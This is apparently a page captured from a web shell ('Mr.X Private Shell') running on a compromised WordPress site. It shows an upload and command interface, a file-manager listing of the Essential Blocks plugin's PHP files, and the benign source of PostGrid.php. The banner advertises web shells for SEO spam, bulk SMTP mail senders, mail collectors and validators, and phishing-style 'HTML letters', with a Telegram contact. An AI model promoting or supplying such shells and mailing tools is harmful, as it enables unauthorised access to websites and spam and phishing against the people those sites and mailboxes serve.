__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace EssentialBlocks\Blocks;

use EssentialBlocks\Utils\Helper;

class PostGrid extends PostBlock
{
    protected $frontend_scripts = [ 'essential-blocks-post-grid-frontend' ];

    protected $frontend_styles = [

        'essential-blocks-fontawesome',
        'essential-blocks-common-style'
     ];

    protected static $default_attributes = [
        'thumbnailSize'       => '',
        'loadMoreOptions'     => false,
        'showTaxonomyFilter'  => false,
        'showSearch'          => false,
        'enableAjaxSearch'    => false,
        'addIcon'             => false,
        'iconPosition'        => 'left',
        'icon'                => 'fas fa-chevron-right',
        'preset'              => 'style-1',
        'enableThumbnailSort' => true,
        'defaultFilter'       => 'all',
        'version'             => "",
        'showFallbackImg'     => false,
        'fallbackImgUrl'      => ''
     ];

    public function get_default_attributes()
    {
        return array_merge( parent::$default_attributes, self::$default_attributes );
    }

    /**
     * Unique name of the block.
     * @return string
     */
    public function get_name()
    {
        return 'post-grid';
    }

    /**
     * Register all other scripts
     * @return void
     */
    public function register_scripts()
    {
        $this->assets_manager->register(
            'post-grid-frontend',
            $this->path() . '/frontend.js'
        );
    }

    /**
     * Block render callback.
     *
     * @param mixed $attributes
     * @param mixed $content
     * @return mixed
     */
    public function render_callback( $attributes, $content )
    {
        if ( is_admin() ) {
            return;
        }

        $queryData = isset( $attributes[ "queryData" ] ) ? $attributes[ "queryData" ] : [  ];

        $customQueryData = $queryData; //Update with filter data

        if ( isset( $attributes[ 'showTaxonomyFilter' ] ) && $attributes[ 'showTaxonomyFilter' ] ) {
            $defaultFilter = isset( $attributes[ "defaultFilter" ] ) ? $attributes[ "defaultFilter" ] : "all";
            if ( $defaultFilter !== "all" ) {
                $taxonomy  = json_decode( $attributes[ 'selectedTaxonomy' ] );
                $category  = get_term_by( 'slug', sanitize_text_field( $defaultFilter ), sanitize_text_field( $taxonomy->value ) );
                $catString = wp_json_encode( [ [
                    "label" => $category->name,
                    "value" => $category->term_id
                 ] ] );
                $defaultTaxonomy[ $taxonomy->value ] = [
                    'name'  => $defaultFilter,
                    'slug'  => $defaultFilter,
                    'value' => $catString
                 ];
                $customQueryData[ 'taxonomies' ] = $defaultTaxonomy;
            }
        }

        $attributes = wp_parse_args( $attributes, $this->get_default_attributes() );

        //Set enableThumbnailSort to false if preset is 4/5
        if ( isset( $attributes[ 'enableThumbnailSort' ] ) && ! in_array( $attributes[ "preset" ], [ 'style-1', 'style-2', 'style-3' ] ) ) {
            $attributes[ 'enableThumbnailSort' ] = false;
        }

        $classHook = isset( $attributes[ 'classHook' ] ) ? $attributes[ 'classHook' ] : '';

        $_default_attributes = array_keys( parent::$default_attributes );
        $_essential_attrs    = [
            'thumbnailSize'      => $attributes[ "thumbnailSize" ],
            'loadMoreOptions'    => $attributes[ 'loadMoreOptions' ],
            'showSearch'         => $attributes[ 'showSearch' ],
            'showTaxonomyFilter' => $attributes[ 'showTaxonomyFilter' ],
            'enableAjaxSearch'   => $attributes[ 'enableAjaxSearch' ],
            'addIcon'            => $attributes[ 'addIcon' ],
            'iconPosition'       => $attributes[ 'iconPosition' ],
            'icon'               => $attributes[ 'icon' ],
            'preset'             => $attributes[ 'preset' ],
            'defaultFilter'      => $attributes[ 'defaultFilter' ],
            'version'            => isset( $attributes[ 'version' ] ) ? $attributes[ 'version' ] : '',
            'showBlockContent'   => $attributes[ 'showBlockContent' ],
            'showFallbackImg'    => isset( $attributes[ 'showFallbackImg' ] ) ? $attributes[ 'showFallbackImg' ] : false,
            'fallbackImgUrl'     => isset( $attributes[ 'fallbackImgUrl' ] ) ? $attributes[ 'fallbackImgUrl' ] : ''
         ];

        if ( isset( $_essential_attrs[ 'showBlockContent' ] ) && $_essential_attrs[ 'showBlockContent' ] === false ) {
            return '';
        }

        //Query Result
        $result = $this->get_posts( $customQueryData );
        $query  = [  ];
        if ( isset( $result->posts ) && is_array( $result->posts ) && count( $result->posts ) > 0 ) {
            $query = apply_filters( 'eb_post_grid_query_results', $result->posts );
        }

        //set total posts
        if ( isset( $result->found_posts ) ) {
            if ( isset( $attributes[ 'loadMoreOptions' ][ 'totalPosts' ] ) ) {
                $attributes[ 'loadMoreOptions' ][ 'totalPosts' ] = $result->found_posts;
            }
            if ( isset( $_essential_attrs[ 'loadMoreOptions' ][ 'totalPosts' ] ) ) {
                $_essential_attrs[ 'loadMoreOptions' ][ 'totalPosts' ] = $result->found_posts;
            }
        }

        array_walk( $_default_attributes, function ( $key ) use ( $attributes, &$_essential_attrs ) {
            $_essential_attrs[ $key ] = $attributes[ $key ];
        } );

        ob_start();
        Helper::views( 'post-grid', array_merge( $attributes, [
            'essentialAttr' => $_essential_attrs,
            'classHook'     => $classHook,
            'queryData'     => $queryData,
            'posts'         => $query,
            'block_object'  => $this
         ] ) );

        return ob_get_clean();
    }
}

Filemanager

Name Type Size Permission Actions
Accordion.php File 1.03 KB 0640
AccordionItem.php File 335 B 0640
AddToCart.php File 3.43 KB 0640
AdvancedHeading.php File 5.73 KB 0640
AdvancedImage.php File 2.77 KB 0640
AdvancedNavigation.php File 703 B 0640
AdvancedTabs.php File 886 B 0640
AdvancedVideo.php File 1021 B 0640
Breadcrumbs.php File 11.37 KB 0640
Button.php File 3.82 KB 0640
CallToAction.php File 365 B 0640
Column.php File 220 B 0640
CountDown.php File 605 B 0640
DualButton.php File 666 B 0640
FeatureList.php File 332 B 0640
FlexContainer.php File 371 B 0640
FlipBox.php File 648 B 0640
FluentForms.php File 3.77 KB 0640
Form.php File 5.72 KB 0640
FormTextField.php File 246 B 0640
GoogleMap.php File 2.55 KB 0640
Icon.php File 323 B 0640
ImageComparison.php File 620 B 0640
ImageGallery.php File 2.26 KB 0640
InfoBox.php File 761 B 0640
InstagramFeed.php File 5.89 KB 0640
InteractivePromo.php File 321 B 0640
LottieAnimation.php File 608 B 0640
NftGallery.php File 649 B 0640
Notice.php File 580 B 0640
NumberCounter.php File 598 B 0640
Openverse.php File 480 B 0640
ParallaxSlider.php File 664 B 0640
PopUp.php File 625 B 0640
PostBlock.php File 1.57 KB 0640
PostCarousel.php File 4.62 KB 0640
PostGrid.php File 5.79 KB 0640
PostMeta.php File 7.24 KB 0640
PricingTable.php File 333 B 0640
ProductDetails.php File 3.51 KB 0640
ProductImages.php File 2.83 KB 0640
ProductPrice.php File 4.75 KB 0640
ProductRating.php File 2.97 KB 0640
ProgressBar.php File 604 B 0640
Row.php File 455 B 0640
ShapeDivider.php File 602 B 0640
Slider.php File 1.09 KB 0640
Social.php File 352 B 0640
SocialShare.php File 3.89 KB 0640
Tab.php File 214 B 0640
TableOfContents.php File 17.38 KB 0640
Taxonomy.php File 4.92 KB 0640
TeamMember.php File 361 B 0640
Testimonial.php File 373 B 0640
Text.php File 5.17 KB 0640
ToggleContent.php File 613 B 0640
TypingText.php File 594 B 0640
WPForms.php File 2.92 KB 0640
WooProductGrid.php File 8.39 KB 0640
Wrapper.php File 359 B 0640
price.php File 239 B 0640
Filemanager